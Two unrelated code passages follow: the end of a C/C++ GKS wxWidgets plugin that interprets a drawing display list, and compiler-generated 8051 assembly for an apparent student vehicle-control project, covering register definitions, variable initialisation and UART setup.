case 201: /* draw image */
RESOLVE(f_arr_1, double, 2 * sizeof(double));
RESOLVE(f_arr_2, double, 2 * sizeof(double));
RESOLVE(dx, int, sizeof(int));
RESOLVE(dy, int, sizeof(int));
RESOLVE(dimx, int, sizeof(int));
RESOLVE(i_arr, int, *dimx **dy * sizeof(int));
break;
case 19: /* set linetype */
case 21: /* set polyline color index */
case 23: /* set markertype */
case 25: /* set polymarker color index */
case 30: /* set text color index */
case 33: /* set text path */
case 36: /* set fillarea interior style */
case 37: /* set fillarea style index */
case 38: /* set fillarea color index */
case 52: /* select normalization transformation */
case 53: /* set clipping indicator */
case 108: /* set resample method */
RESOLVE(i_arr, int, sizeof(int));
break;
case 27: /* set text font and precision */
case 34: /* set text alignment */
RESOLVE(i_arr, int, 2 * sizeof(int));
break;
case 20: /* set linewidth scale factor */
case 24: /* set marker size scale factor */
case 28: /* set character expansion factor */
case 29: /* set character spacing */
case 31: /* set character height */
case 200: /* set text slant */
case 203: /* set transparency */
RESOLVE(f_arr_1, double, sizeof(double));
break;
case 32: /* set character up vector */
RESOLVE(f_arr_1, double, sizeof(double));
RESOLVE(f_arr_2, double, sizeof(double));
break;
case 41: /* set aspect source flags */
RESOLVE(i_arr, int, 13 * sizeof(int));
break;
case 48: /* set color representation */
RESOLVE(i_arr, int, sizeof(int));
RESOLVE(f_arr_1, double, 3 * sizeof(double));
break;
case 49: /* set window */
case 50: /* set viewport */
case 54: /* set workstation window */
case 55: /* set workstation viewport */
RESOLVE(i_arr, int, sizeof(int));
RESOLVE(f_arr_1, double, 2 * sizeof(double));
RESOLVE(f_arr_2, double, 2 * sizeof(double));
break;
case 202: /* set shadow */
RESOLVE(f_arr_1, double, 3 * sizeof(double));
break;
case 204: /* set coord xform */
RESOLVE(f_arr_1, double, 6 * sizeof(double));
break;
default:
gks_perror("display list corrupted (len=%d, fctid=%d)", *len, *f);
exit(1);
}
switch (*f)
{
case 2:
memmove(&saved_gkss, gkss, sizeof(gks_state_list_t));
memmove(gkss, sl, sizeof(gks_state_list_t));
p->window[0] = p->window[2] = 0.0;
p->window[1] = p->window[3] = 1.0;
p->viewport[0] = p->viewport[2] = 0.0;
p->viewport[1] = p->width * MWIDTH / WIDTH;
p->viewport[3] = p->height * MWIDTH / HEIGHT;
set_xform();
init_norm_xform();
init_colors();
gks_init_core(gkss);
break;
case 12:
polyline(i_arr[0], f_arr_1, f_arr_2);
break;
case 13:
polymarker(i_arr[0], f_arr_1, f_arr_2);
break;
case 14:
text(f_arr_1[0], f_arr_2[0], strlen(c_arr), c_arr);
break;
case 15:
fillarea(i_arr[0], f_arr_1, f_arr_2);
break;
case 16:
case 201:
true_color = *f == DRAW_IMAGE;
cellarray(f_arr_1[0], f_arr_1[1], f_arr_2[0], f_arr_2[1], *dx, *dy, *dimx, i_arr, true_color);
break;
case 19:
gkss->ltype = i_arr[0];
break;
case 20:
gkss->lwidth = f_arr_1[0];
break;
case 21:
gkss->plcoli = i_arr[0];
break;
case 23:
gkss->mtype = i_arr[0];
break;
case 24:
gkss->mszsc = f_arr_1[0];
break;
case 25:
gkss->pmcoli = i_arr[0];
break;
case 27:
gkss->txfont = i_arr[0];
gkss->txprec = i_arr[1];
break;
case 28:
gkss->chxp = f_arr_1[0];
break;
case 29:
gkss->chsp = f_arr_1[0];
break;
case 30:
gkss->txcoli = i_arr[0];
break;
case 31:
gkss->chh = f_arr_1[0];
break;
case 32:
gkss->chup[0] = f_arr_1[0];
gkss->chup[1] = f_arr_2[0];
break;
case 33:
gkss->txp = i_arr[0];
break;
case 34:
gkss->txal[0] = i_arr[0];
gkss->txal[1] = i_arr[1];
break;
case 36:
gkss->ints = i_arr[0];
break;
case 37:
gkss->styli = i_arr[0];
break;
case 38:
gkss->facoli = i_arr[0];
break;
case 41:
for (i = 0; i < 13; i++) gkss->asf[i] = i_arr[i];
break;
case 48:
set_color_rep(i_arr[0], f_arr_1[0], f_arr_1[1], f_arr_1[2]);
break;
case 49:
gkss->window[*i_arr][0] = f_arr_1[0];
gkss->window[*i_arr][1] = f_arr_1[1];
gkss->window[*i_arr][2] = f_arr_2[0];
gkss->window[*i_arr][3] = f_arr_2[1];
set_xform();
set_norm_xform(*i_arr, gkss->window[*i_arr], gkss->viewport[*i_arr]);
gks_set_norm_xform(*i_arr, gkss->window[*i_arr], gkss->viewport[*i_arr]);
break;
case 50:
gkss->viewport[*i_arr][0] = f_arr_1[0];
gkss->viewport[*i_arr][1] = f_arr_1[1];
gkss->viewport[*i_arr][2] = f_arr_2[0];
gkss->viewport[*i_arr][3] = f_arr_2[1];
set_norm_xform(*i_arr, gkss->window[*i_arr], gkss->viewport[*i_arr]);
gks_set_norm_xform(*i_arr, gkss->window[*i_arr], gkss->viewport[*i_arr]);
if (*i_arr == gkss->cntnr) set_clip_rect(*i_arr);
break;
case 52:
gkss->cntnr = i_arr[0];
set_clip_rect(gkss->cntnr);
break;
case 53:
gkss->clip = i_arr[0];
set_clip_rect(gkss->cntnr);
break;
case 54:
p->window[0] = f_arr_1[0];
p->window[1] = f_arr_1[1];
p->window[2] = f_arr_2[0];
p->window[3] = f_arr_2[1];
set_xform();
init_norm_xform();
break;
case 55:
p->viewport[0] = f_arr_1[0];
p->viewport[1] = f_arr_1[1];
p->viewport[2] = f_arr_2[0];
p->viewport[3] = f_arr_2[1];
set_xform();
init_norm_xform();
break;
case 108:
gkss->resample_method = i_arr[0];
break;
case 200:
gkss->txslant = f_arr_1[0];
break;
}
RESOLVE(len, int, sizeof(int));
}
memmove(gkss, &saved_gkss, sizeof(gks_state_list_t));
}
void get_pixmap(void)
{
char *env;
env = (char *)gks_getenv("GKS_CONID");
if (!env) env = (char *)gks_getenv("GKSconid");
if (env != NULL)
{
sscanf(env, "%p!%p", (void **)&p->widget, (void **)&p->pixmap);
}
else
{
gks_perror("can't obtain Wx drawable");
exit(1);
}
p->widget->GetSize(&p->width, &p->height);
}
void gks_wxplugin(int fctid, int dx, int dy, int dimx, int *i_arr, int len_f_arr_1, double *f_arr_1, int len_f_arr_2,
double *f_arr_2, int len_c_arr, char *c_arr, void **ptr)
{
int i;
p = (ws_state_list *)*ptr;
switch (fctid)
{
case 2:
gkss = (gks_state_list_t *)*ptr;
p = new ws_state_list;
p->width = p->height = 500;
p->font = new wxFont();
p->points = new wxPoint[MAX_POINTS];
p->npoints = 0;
p->max_points = MAX_POINTS;
for (i = 0; i < PATTERNS; i++) p->pattern[i] = NULL;
*ptr = p;
break;
case 3:
for (i = 0; i < PATTERNS; i++)
if (p->pattern[i] != NULL) delete p->pattern[i];
delete p->points;
delete p->font;
delete p;
p = NULL;
break;
case 6:
/* set display list length to zero */
memset(p->dl.buffer, 0, sizeof(int));
p->dl.buffer[0] = '\0';
p->dl.nbytes = 0;
break;
case 8:
if (i_arr[1] & GKS_K_PERFORM_FLAG)
{
get_pixmap();
interp(p->dl.buffer);
}
break;
default:;
}
if (p != NULL)
gks_dl_write_item(&p->dl, fctid, dx, dy, dimx, i_arr, len_f_arr_1, f_arr_1, len_f_arr_2, f_arr_2, len_c_arr, c_arr,
gkss);
}
#else
void gks_wxplugin(int fctid, int dx, int dy, int dimx, int *ia, int lr1, double *r1, int lr2, double *r2, int lc,
char *chars, void **ptr)
{
GKS_UNUSED(dx);
GKS_UNUSED(dy);
GKS_UNUSED(dimx);
GKS_UNUSED(ia);
GKS_UNUSED(lr1);
GKS_UNUSED(r1);
GKS_UNUSED(lr2);
GKS_UNUSED(r2);
GKS_UNUSED(lc);
GKS_UNUSED(chars);
GKS_UNUSED(ptr);
if (fctid == 2)
{
gks_perror("Wx support not compiled in");
ia[0] = 0;
}
}
#endif
|
;--------------------------------------------------------
; File Created by C51
; Version 1.0.0 #1069 (Apr 23 2015) (MSVC)
; This file was generated Thu Apr 07 01:07:38 2016
;--------------------------------------------------------
$name autonomous_v4
$optc51 --model-small
R_DSEG segment data
R_CSEG segment code
R_BSEG segment bit
R_XSEG segment xdata
R_PSEG segment xdata
R_ISEG segment idata
R_OSEG segment data overlay
BIT_BANK segment data overlay
R_HOME segment code
R_GSINIT segment code
R_IXSEG segment xdata
R_CONST segment code
R_XINIT segment code
R_DINIT segment code
;--------------------------------------------------------
; Public variables in this module
;--------------------------------------------------------
public _InitPinADC_PARM_2
public _main
public _getchar1
public _Timer2_ISR
public _Volts_at_Pin
public _ADC_at_Pin
public _InitPinADC
public _InitADC
public _waitms
public _Timer3us
public __c51_external_startup
public _UART1_Init
public _switchs
public _interrupt_switch
public _PWM_4
public _PWM_3
public _PWM_2
public _PWM_1
public _proceed
public _pwm_count
;--------------------------------------------------------
; Special Function Registers
;--------------------------------------------------------
_P0 DATA 0x80
_SP DATA 0x81
_DPL DATA 0x82
_DPH DATA 0x83
_EMI0TC DATA 0x84
_EMI0CF DATA 0x85
_OSCLCN DATA 0x86
_PCON DATA 0x87
_TCON DATA 0x88
_TMOD DATA 0x89
_TL0 DATA 0x8a
_TL1 DATA 0x8b
_TH0 DATA 0x8c
_TH1 DATA 0x8d
_CKCON DATA 0x8e
_PSCTL DATA 0x8f
_P1 DATA 0x90
_TMR3CN DATA 0x91
_TMR4CN DATA 0x91
_TMR3RLL DATA 0x92
_TMR4RLL DATA 0x92
_TMR3RLH DATA 0x93
_TMR4RLH DATA 0x93
_TMR3L DATA 0x94
_TMR4L DATA 0x94
_TMR3H DATA 0x95
_TMR4H DATA 0x95
_USB0ADR DATA 0x96
_USB0DAT DATA 0x97
_SCON DATA 0x98
_SCON0 DATA 0x98
_SBUF DATA 0x99
_SBUF0 DATA 0x99
_CPT1CN DATA 0x9a
_CPT0CN DATA 0x9b
_CPT1MD DATA 0x9c
_CPT0MD DATA 0x9d
_CPT1MX DATA 0x9e
_CPT0MX DATA 0x9f
_P2 DATA 0xa0
_SPI0CFG DATA 0xa1
_SPI0CKR DATA 0xa2
_SPI0DAT DATA 0xa3
_P0MDOUT DATA 0xa4
_P1MDOUT DATA 0xa5
_P2MDOUT DATA 0xa6
_P3MDOUT DATA 0xa7
_IE DATA 0xa8
_CLKSEL DATA 0xa9
_EMI0CN DATA 0xaa
__XPAGE DATA 0xaa
_SBCON1 DATA 0xac
_P4MDOUT DATA 0xae
_PFE0CN DATA 0xaf
_P3 DATA 0xb0
_OSCXCN DATA 0xb1
_OSCICN DATA 0xb2
_OSCICL DATA 0xb3
_SBRLL1 DATA 0xb4
_SBRLH1 DATA 0xb5
_FLSCL DATA 0xb6
_FLKEY DATA 0xb7
_IP DATA 0xb8
_CLKMUL DATA 0xb9
_SMBTC DATA 0xb9
_AMX0N DATA 0xba
_AMX0P DATA 0xbb
_ADC0CF DATA 0xbc
_ADC0L DATA 0xbd
_ADC0H DATA 0xbe
_SFRPAGE DATA 0xbf
_SMB0CN DATA 0xc0
_SMB1CN DATA 0xc0
_SMB0CF DATA 0xc1
_SMB1CF DATA 0xc1
_SMB0DAT DATA 0xc2
_SMB1DAT DATA 0xc2
_ADC0GTL DATA 0xc3
_ADC0GTH DATA 0xc4
_ADC0LTL DATA 0xc5
_ADC0LTH DATA 0xc6
_P4 DATA 0xc7
_TMR2CN DATA 0xc8
_TMR5CN DATA 0xc8
_REG01CN DATA 0xc9
_TMR2RLL DATA 0xca
_TMR5RLL DATA 0xca
_TMR2RLH DATA 0xcb
_TMR5RLH DATA 0xcb
_TMR2L DATA 0xcc
_TMR5L DATA 0xcc
_TMR2H DATA 0xcd
_TMR5H DATA 0xcd
_SMB0ADM DATA 0xce
_SMB1ADM DATA 0xce
_SMB0ADR DATA 0xcf
_SMB1ADR DATA 0xcf
_PSW DATA 0xd0
_REF0CN DATA 0xd1
_SCON1 DATA 0xd2
_SBUF1 DATA 0xd3
_P0SKIP DATA 0xd4
_P1SKIP DATA 0xd5
_P2SKIP DATA 0xd6
_USB0XCN DATA 0xd7
_PCA0CN DATA 0xd8
_PCA0MD DATA 0xd9
_PCA0CPM0 DATA 0xda
_PCA0CPM1 DATA 0xdb
_PCA0CPM2 DATA 0xdc
_PCA0CPM3 DATA 0xdd
_PCA0CPM4 DATA 0xde
_P3SKIP DATA 0xdf
_ACC DATA 0xe0
_XBR0 DATA 0xe1
_XBR1 DATA 0xe2
_XBR2 DATA 0xe3
_IT01CF DATA 0xe4
_CKCON1 DATA 0xe4
_SMOD1 DATA 0xe5
_EIE1 DATA 0xe6
_EIE2 DATA 0xe7
_ADC0CN DATA 0xe8
_PCA0CPL1 DATA 0xe9
_PCA0CPH1 DATA 0xea
_PCA0CPL2 DATA 0xeb
_PCA0CPH2 DATA 0xec
_PCA0CPL3 DATA 0xed
_PCA0CPH3 DATA 0xee
_RSTSRC DATA 0xef
_B DATA 0xf0
_P0MDIN DATA 0xf1
_P1MDIN DATA 0xf2
_P2MDIN DATA 0xf3
_P3MDIN DATA 0xf4
_P4MDIN DATA 0xf5
_EIP1 DATA 0xf6
_EIP2 DATA 0xf7
_SPI0CN DATA 0xf8
_PCA0L DATA 0xf9
_PCA0H DATA 0xfa
_PCA0CPL0 DATA 0xfb
_PCA0CPH0 DATA 0xfc
_PCA0CPL4 DATA 0xfd
_PCA0CPH4 DATA 0xfe
_VDM0CN DATA 0xff
_DPTR DATA 0x8382
_TMR2RL DATA 0xcbca
_TMR3RL DATA 0x9392
_TMR4RL DATA 0x9392
_TMR5RL DATA 0xcbca
_TMR2 DATA 0xcdcc
_TMR3 DATA 0x9594
_TMR4 DATA 0x9594
_TMR5 DATA 0xcdcc
_SBRL1 DATA 0xb5b4
_ADC0 DATA 0xbebd
_ADC0GT DATA 0xc4c3
_ADC0LT DATA 0xc6c5
_PCA0 DATA 0xfaf9
_PCA0CP1 DATA 0xeae9
_PCA0CP2 DATA 0xeceb
_PCA0CP3 DATA 0xeeed
_PCA0CP0 DATA 0xfcfb
_PCA0CP4 DATA 0xfefd
;--------------------------------------------------------
; special function bits
;--------------------------------------------------------
_P0_0 BIT 0x80
_P0_1 BIT 0x81
_P0_2 BIT 0x82
_P0_3 BIT 0x83
_P0_4 BIT 0x84
_P0_5 BIT 0x85
_P0_6 BIT 0x86
_P0_7 BIT 0x87
_TF1 BIT 0x8f
_TR1 BIT 0x8e
_TF0 BIT 0x8d
_TR0 BIT 0x8c
_IE1 BIT 0x8b
_IT1 BIT 0x8a
_IE0 BIT 0x89
_IT0 BIT 0x88
_P1_0 BIT 0x90
_P1_1 BIT 0x91
_P1_2 BIT 0x92
_P1_3 BIT 0x93
_P1_4 BIT 0x94
_P1_5 BIT 0x95
_P1_6 BIT 0x96
_P1_7 BIT 0x97
_S0MODE BIT 0x9f
_SCON0_6 BIT 0x9e
_MCE0 BIT 0x9d
_REN0 BIT 0x9c
_TB80 BIT 0x9b
_RB80 BIT 0x9a
_TI0 BIT 0x99
_RI0 BIT 0x98
_SCON_6 BIT 0x9e
_MCE BIT 0x9d
_REN BIT 0x9c
_TB8 BIT 0x9b
_RB8 BIT 0x9a
_TI BIT 0x99
_RI BIT 0x98
_P2_0 BIT 0xa0
_P2_1 BIT 0xa1
_P2_2 BIT 0xa2
_P2_3 BIT 0xa3
_P2_4 BIT 0xa4
_P2_5 BIT 0xa5
_P2_6 BIT 0xa6
_P2_7 BIT 0xa7
_EA BIT 0xaf
_ESPI0 BIT 0xae
_ET2 BIT 0xad
_ES0 BIT 0xac
_ET1 BIT 0xab
_EX1 BIT 0xaa
_ET0 BIT 0xa9
_EX0 BIT 0xa8
_P3_0 BIT 0xb0
_P3_1 BIT 0xb1
_P3_2 BIT 0xb2
_P3_3 BIT 0xb3
_P3_4 BIT 0xb4
_P3_5 BIT 0xb5
_P3_6 BIT 0xb6
_P3_7 BIT 0xb7
_IP_7 BIT 0xbf
_PSPI0 BIT 0xbe
_PT2 BIT 0xbd
_PS0 BIT 0xbc
_PT1 BIT 0xbb
_PX1 BIT 0xba
_PT0 BIT 0xb9
_PX0 BIT 0xb8
_MASTER0 BIT 0xc7
_TXMODE0 BIT 0xc6
_STA0 BIT 0xc5
_STO0 BIT 0xc4
_ACKRQ0 BIT 0xc3
_ARBLOST0 BIT 0xc2
_ACK0 BIT 0xc1
_SI0 BIT 0xc0
_MASTER1 BIT 0xc7
_TXMODE1 BIT 0xc6
_STA1 BIT 0xc5
_STO1 BIT 0xc4
_ACKRQ1 BIT 0xc3
_ARBLOST1 BIT 0xc2
_ACK1 BIT 0xc1
_SI1 BIT 0xc0
_TF2 BIT 0xcf
_TF2H BIT 0xcf
_TF2L BIT 0xce
_TF2LEN BIT 0xcd
_TF2CEN BIT 0xcc
_T2SPLIT BIT 0xcb
_TR2 BIT 0xca
_T2CSS BIT 0xc9
_T2XCLK BIT 0xc8
_TF5H BIT 0xcf
_TF5L BIT 0xce
_TF5LEN BIT 0xcd
_TMR5CN_4 BIT 0xcc
_T5SPLIT BIT 0xcb
_TR5 BIT 0xca
_TMR5CN_1 BIT 0xc9
_T5XCLK BIT 0xc8
_CY BIT 0xd7
_AC BIT 0xd6
_F0 BIT 0xd5
_RS1 BIT 0xd4
_RS0 BIT 0xd3
_OV BIT 0xd2
_F1 BIT 0xd1
_PARITY BIT 0xd0
_CF BIT 0xdf
_CR BIT 0xde
_PCA0CN_5 BIT 0xde
_CCF4 BIT 0xdc
_CCF3 BIT 0xdb
_CCF2 BIT 0xda
_CCF1 BIT 0xd9
_CCF0 BIT 0xd8
_ACC_7 BIT 0xe7
_ACC_6 BIT 0xe6
_ACC_5 BIT 0xe5
_ACC_4 BIT 0xe4
_ACC_3 BIT 0xe3
_ACC_2 BIT 0xe2
_ACC_1 BIT 0xe1
_ACC_0 BIT 0xe0
_AD0EN BIT 0xef
_AD0TM BIT 0xee
_AD0INT BIT 0xed
_AD0BUSY BIT 0xec
_AD0WINT BIT 0xeb
_AD0CM2 BIT 0xea
_AD0CM1 BIT 0xe9
_AD0CM0 BIT 0xe8
_B_7 BIT 0xf7
_B_6 BIT 0xf6
_B_5 BIT 0xf5
_B_4 BIT 0xf4
_B_3 BIT 0xf3
_B_2 BIT 0xf2
_B_1 BIT 0xf1
_B_0 BIT 0xf0
_SPIF BIT 0xff
_WCOL BIT 0xfe
_MODF BIT 0xfd
_RXOVRN BIT 0xfc
_NSSMD1 BIT 0xfb
_NSSMD0 BIT 0xfa
_TXBMT BIT 0xf9
_SPIEN BIT 0xf8
;--------------------------------------------------------
; overlayable register banks
;--------------------------------------------------------
rbank0 segment data overlay
;--------------------------------------------------------
; internal ram data
;--------------------------------------------------------
rseg R_DSEG
_pwm_count:
ds 1
_proceed:
ds 1
_PWM_1:
ds 2
_PWM_2:
ds 2
_PWM_3:
ds 2
_PWM_4:
ds 2
_interrupt_switch:
ds 2
_switchs:
ds 2
_UART1_Init_sloc0_1_0:
ds 4
_main_V_1_72:
ds 12
_main_R_1_72:
ds 4
_main_L_1_72:
ds 4
;--------------------------------------------------------
; overlayable items in internal ram
;--------------------------------------------------------
rseg R_OSEG
rseg R_OSEG
_InitPinADC_PARM_2:
ds 1
rseg R_OSEG
rseg R_OSEG
;--------------------------------------------------------
; indirectly addressable internal ram data
;--------------------------------------------------------
rseg R_ISEG
;--------------------------------------------------------
; absolute internal ram data
;--------------------------------------------------------
DSEG
;--------------------------------------------------------
; bit data
;--------------------------------------------------------
rseg R_BSEG
_Timer2_ISR_sloc0_1_0:
DBIT 1
;--------------------------------------------------------
; paged external ram data
;--------------------------------------------------------
rseg R_PSEG
;--------------------------------------------------------
; external ram data
;--------------------------------------------------------
rseg R_XSEG
;--------------------------------------------------------
; absolute external ram data
;--------------------------------------------------------
XSEG
;--------------------------------------------------------
; external initialized ram data
;--------------------------------------------------------
rseg R_IXSEG
rseg R_HOME
rseg R_GSINIT
rseg R_CSEG
;--------------------------------------------------------
; Reset entry point and interrupt vectors
;--------------------------------------------------------
CSEG at 0x0000
ljmp _crt0
CSEG at 0x002b
ljmp _Timer2_ISR
;--------------------------------------------------------
; global & static initialisations
;--------------------------------------------------------
rseg R_HOME
rseg R_GSINIT
rseg R_GSINIT
;--------------------------------------------------------
; data variables initialization
;--------------------------------------------------------
rseg R_DINIT
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:13: volatile unsigned char pwm_count=0;
mov _pwm_count,#0x00
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:15: volatile unsigned int PWM_1=0;
clr a
mov _PWM_1,a
mov (_PWM_1 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:16: volatile unsigned int PWM_2=0;
clr a
mov _PWM_2,a
mov (_PWM_2 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:17: volatile unsigned int PWM_3=0;
clr a
mov _PWM_3,a
mov (_PWM_3 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:18: volatile unsigned int PWM_4=0;
clr a
mov _PWM_4,a
mov (_PWM_4 + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:19: volatile unsigned int interrupt_switch=0;
clr a
mov _interrupt_switch,a
mov (_interrupt_switch + 1),a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:20: volatile unsigned int switchs=0;
clr a
mov _switchs,a
mov (_switchs + 1),a
; The linker places a 'ret' at the end of segment R_DINIT.
;--------------------------------------------------------
; code
;--------------------------------------------------------
rseg R_CSEG
;------------------------------------------------------------
;Allocation info for local variables in function 'UART1_Init'
;------------------------------------------------------------
;baudrate Allocated to registers r2 r3 r4 r5
;sloc0 Allocated with name '_UART1_Init_sloc0_1_0'
;------------------------------------------------------------
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:23: void UART1_Init (unsigned long baudrate)
; -----------------------------------------
; function UART1_Init
; -----------------------------------------
_UART1_Init:
using 0
mov r2,dpl
mov r3,dph
mov r4,b
mov r5,a
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:25: SMOD1 = 0x0C; // no parity, 8 data bits, 1 stop bit
mov _SMOD1,#0x0C
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:26: SCON1 = 0x10;
mov _SCON1,#0x10
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:27: if (((SYSCLK/baudrate)/2L)/0xFFFFL < 1)
mov __divulong_PARM_2,r2
mov (__divulong_PARM_2 + 1),r3
mov (__divulong_PARM_2 + 2),r4
mov (__divulong_PARM_2 + 3),r5
mov dptr,#0x6C00
mov b,#0xDC
mov a,#0x02
lcall __divulong
mov r2,dpl
mov r3,dph
mov r4,b
clr c
rrc a
mov (_UART1_Init_sloc0_1_0 + 3),a
mov a,r4
rrc a
mov (_UART1_Init_sloc0_1_0 + 2),a
mov a,r3
rrc a
mov (_UART1_Init_sloc0_1_0 + 1),a
mov a,r2
rrc a
mov _UART1_Init_sloc0_1_0,a
mov __divulong_PARM_2,#0xFF
mov (__divulong_PARM_2 + 1),#0xFF
mov (__divulong_PARM_2 + 2),#0x00
mov (__divulong_PARM_2 + 3),#0x00
mov dpl,_UART1_Init_sloc0_1_0
mov dph,(_UART1_Init_sloc0_1_0 + 1)
mov b,(_UART1_Init_sloc0_1_0 + 2)
mov a,(_UART1_Init_sloc0_1_0 + 3)
lcall __divulong
mov r6,dpl
mov r7,dph
mov r0,b
mov r1,a
clr c
mov a,r6
subb a,#0x01
mov a,r7
subb a,#0x00
mov a,r0
subb a,#0x00
mov a,r1
subb a,#0x00
jnc L002008?
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:29: SBRL1 = 0x10000L-((SYSCLK/baudrate)/2L);
clr a
clr c
subb a,_UART1_Init_sloc0_1_0
mov r2,a
clr a
subb a,(_UART1_Init_sloc0_1_0 + 1)
mov r3,a
mov a,#0x01
subb a,(_UART1_Init_sloc0_1_0 + 2)
mov r4,a
clr a
subb a,(_UART1_Init_sloc0_1_0 + 3)
mov r5,a
mov _SBRL1,r2
mov (_SBRL1 >> 8),r3
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:30: SBCON1 |= 0x03; // set prescaler to 1
orl _SBCON1,#0x03
ljmp L002009?
L002008?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:32: else if (((SYSCLK/baudrate)/2L)/0xFFFFL < 4)
clr c
mov a,r6
subb a,#0x04
mov a,r7
subb a,#0x00
mov a,r0
subb a,#0x00
mov a,r1
subb a,#0x00
jnc L002005?
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:34: SBRL1 = 0x10000L-(((SYSCLK/baudrate)/2L)/4L);
mov a,(_UART1_Init_sloc0_1_0 + 3)
clr c
rrc a
mov r5,a
mov a,(_UART1_Init_sloc0_1_0 + 2)
rrc a
mov r4,a
mov a,(_UART1_Init_sloc0_1_0 + 1)
rrc a
mov r3,a
mov a,_UART1_Init_sloc0_1_0
rrc a
mov r2,a
mov a,r5
clr c
rrc a
mov r5,a
mov a,r4
rrc a
mov r4,a
mov a,r3
rrc a
mov r3,a
mov a,r2
rrc a
mov r2,a
clr a
clr c
subb a,r2
mov r2,a
clr a
subb a,r3
mov r3,a
mov a,#0x01
subb a,r4
mov r4,a
clr a
subb a,r5
mov r5,a
mov _SBRL1,r2
mov (_SBRL1 >> 8),r3
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:35: SBCON1 &= ~0x03;
anl _SBCON1,#0xFC
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:36: SBCON1 |= 0x01; // set prescaler to 4
orl _SBCON1,#0x01
ljmp L002009?
L002005?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:38: else if (((SYSCLK/baudrate)/2L)/0xFFFFL < 12)
clr c
mov a,r6
subb a,#0x0C
mov a,r7
subb a,#0x00
mov a,r0
subb a,#0x00
mov a,r1
subb a,#0x00
jnc L002002?
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:40: SBRL1 = 0x10000L-(((SYSCLK/baudrate)/2L)/12L);
mov __divulong_PARM_2,#0x0C
clr a
mov (__divulong_PARM_2 + 1),a
mov (__divulong_PARM_2 + 2),a
mov (__divulong_PARM_2 + 3),a
mov dpl,_UART1_Init_sloc0_1_0
mov dph,(_UART1_Init_sloc0_1_0 + 1)
mov b,(_UART1_Init_sloc0_1_0 + 2)
mov a,(_UART1_Init_sloc0_1_0 + 3)
lcall __divulong
mov r2,dpl
mov r3,dph
mov r4,b
mov r5,a
clr a
clr c
subb a,r2
mov r2,a
clr a
subb a,r3
mov r3,a
mov a,#0x01
subb a,r4
mov r4,a
clr a
subb a,r5
mov r5,a
mov _SBRL1,r2
mov (_SBRL1 >> 8),r3
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:41: SBCON1 &= ~0x03; // set prescaler to 12
anl _SBCON1,#0xFC
sjmp L002009?
L002002?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:44: SBRL1 = 0x10000L-(((SYSCLK/baudrate)/2L)/48L);
mov __divulong_PARM_2,#0x30
clr a
mov (__divulong_PARM_2 + 1),a
mov (__divulong_PARM_2 + 2),a
mov (__divulong_PARM_2 + 3),a
mov dpl,_UART1_Init_sloc0_1_0
mov dph,(_UART1_Init_sloc0_1_0 + 1)
mov b,(_UART1_Init_sloc0_1_0 + 2)
mov a,(_UART1_Init_sloc0_1_0 + 3)
lcall __divulong
mov r2,dpl
mov r3,dph
mov r4,b
mov r5,a
clr a
clr c
subb a,r2
mov r2,a
clr a
subb a,r3
mov r3,a
mov a,#0x01
subb a,r4
mov r4,a
clr a
subb a,r5
mov r5,a
mov _SBRL1,r2
mov (_SBRL1 >> 8),r3
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:45: SBCON1 &= ~0x03;
anl _SBCON1,#0xFC
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:46: SBCON1 |= 0x02; // set prescaler to ?
orl _SBCON1,#0x02
L002009?:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:48: SCON1 |= 0x02; // indicate ready for TX
orl _SCON1,#0x02
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:49: SBCON1 |= 0x40; // enable baud rate generator
orl _SBCON1,#0x40
ret
;------------------------------------------------------------
;Allocation info for local variables in function '_c51_external_startup'
;------------------------------------------------------------
;------------------------------------------------------------
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:53: char _c51_external_startup (void)
; -----------------------------------------
; function _c51_external_startup
; -----------------------------------------
__c51_external_startup:
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:55: PCA0MD&=(~0x40) ; // DISABLE WDT: clear Watchdog Enable bit
anl _PCA0MD,#0xBF
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:56: VDM0CN=0x80; // enable VDD monitor
mov _VDM0CN,#0x80
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:57: RSTSRC=0x02|0x04; // Enable reset on missing clock detector and VDD
mov _RSTSRC,#0x06
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:65: CLKSEL|=0b_0000_0011; // SYSCLK derived from the Internal High-Frequency Oscillator / 1.
orl _CLKSEL,#0x03
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:69: OSCICN |= 0x03; // Configure internal oscillator for its maximum frequency
orl _OSCICN,#0x03
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:72: SCON0 = 0x52;
mov _SCON0,#0x52
; C:\Users\jeffreyliou\Desktop\elec291\project2\autonomous v4.c:73: UART1_Init(100);
mov dptr,#(0x64&0x00ff)
clr a
mov b,a
lcall _UART1_Init
